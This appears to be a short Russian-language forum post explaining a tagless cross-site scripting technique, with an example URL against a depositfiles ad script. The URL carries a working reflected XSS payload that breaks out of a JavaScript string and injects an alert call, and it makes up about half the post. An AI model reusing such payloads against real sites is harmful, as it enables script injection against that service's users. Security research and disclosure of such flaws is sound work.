Точно также, как и в любом случае. Без указания тегов, как обычная XSS в . Пример на depositfiles:

http://ads.depositfiles.com/p.php?v=5678%27%29; alert%28%27xss%27%29; $.get%28%275678